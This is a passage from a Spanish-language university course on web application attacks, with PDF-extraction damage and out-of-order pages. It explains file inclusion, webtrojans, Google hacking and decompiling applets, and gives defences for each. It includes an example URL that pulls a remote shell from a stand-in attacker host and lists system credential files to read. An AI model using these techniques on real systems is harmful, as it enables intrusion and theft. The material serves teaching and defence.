se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 25: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

